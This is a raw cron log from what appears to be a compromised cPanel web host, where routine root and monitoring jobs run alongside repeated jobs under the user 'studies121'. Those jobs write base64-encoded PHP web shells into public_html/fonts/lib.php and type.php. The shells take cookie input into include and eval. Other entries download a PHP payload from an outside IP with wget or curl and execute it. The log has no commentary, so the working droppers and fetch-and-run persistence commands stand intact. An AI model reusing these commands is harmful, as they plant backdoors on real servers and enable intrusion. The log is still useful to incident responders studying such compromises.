Sep  1 13:02:01 ip-184-168-122-23 CROND[29899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:02:01 ip-184-168-122-23 CROND[29900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:03:01 ip-184-168-122-23 CROND[29989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:03:01 ip-184-168-122-23 CROND[29991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:03:01 ip-184-168-122-23 CROND[29992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:03:01 ip-184-168-122-23 CROND[29993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:04:01 ip-184-168-122-23 CROND[30169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:04:01 ip-184-168-122-23 CROND[30171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:04:01 ip-184-168-122-23 CROND[30174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:04:01 ip-184-168-122-23 CROND[30172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:04:01 ip-184-168-122-23 CROND[30173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:05:01 ip-184-168-122-23 CROND[30278]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:05:01 ip-184-168-122-23 CROND[30280]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 13:05:01 ip-184-168-122-23 CROND[30283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:05:01 ip-184-168-122-23 CROND[30284]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:05:01 ip-184-168-122-23 CROND[30281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:05:01 ip-184-168-122-23 CROND[30282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:05:01 ip-184-168-122-23 CROND[30285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:06:01 ip-184-168-122-23 CROND[30379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:06:01 ip-184-168-122-23 CROND[30380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:06:01 ip-184-168-122-23 CROND[30383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:06:01 ip-184-168-122-23 CROND[30382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:06:01 ip-184-168-122-23 CROND[30385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:07:01 ip-184-168-122-23 CROND[30487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:07:01 ip-184-168-122-23 CROND[30489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:07:01 ip-184-168-122-23 CROND[30488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:07:01 ip-184-168-122-23 CROND[30490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:08:01 ip-184-168-122-23 CROND[30590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:08:01 ip-184-168-122-23 CROND[30592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:08:01 ip-184-168-122-23 CROND[30593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:08:01 ip-184-168-122-23 CROND[30594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:08:01 ip-184-168-122-23 CROND[30595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:09:01 ip-184-168-122-23 CROND[30688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:09:01 ip-184-168-122-23 CROND[30689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:09:01 ip-184-168-122-23 CROND[30691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:09:01 ip-184-168-122-23 CROND[30692]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 13:09:01 ip-184-168-122-23 CROND[30694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:10:01 ip-184-168-122-23 CROND[30783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:10:01 ip-184-168-122-23 CROND[30785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:10:01 ip-184-168-122-23 CROND[30789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:10:01 ip-184-168-122-23 CROND[30791]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:10:01 ip-184-168-122-23 CROND[30790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:10:01 ip-184-168-122-23 CROND[30788]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:10:01 ip-184-168-122-23 CROND[30792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:10:01 ip-184-168-122-23 CROND[30793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:11:01 ip-184-168-122-23 CROND[30978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:11:01 ip-184-168-122-23 CROND[30980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:11:01 ip-184-168-122-23 CROND[30981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:11:01 ip-184-168-122-23 CROND[30982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:12:01 ip-184-168-122-23 CROND[31066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:12:01 ip-184-168-122-23 CROND[31068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:12:01 ip-184-168-122-23 CROND[31069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:12:01 ip-184-168-122-23 CROND[31071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:12:01 ip-184-168-122-23 CROND[31072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:13:01 ip-184-168-122-23 CROND[31154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:13:01 ip-184-168-122-23 CROND[31156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:13:01 ip-184-168-122-23 CROND[31157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:13:01 ip-184-168-122-23 CROND[31161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:14:01 ip-184-168-122-23 CROND[31252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:14:01 ip-184-168-122-23 CROND[31254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:14:01 ip-184-168-122-23 CROND[31256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:14:01 ip-184-168-122-23 CROND[31255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
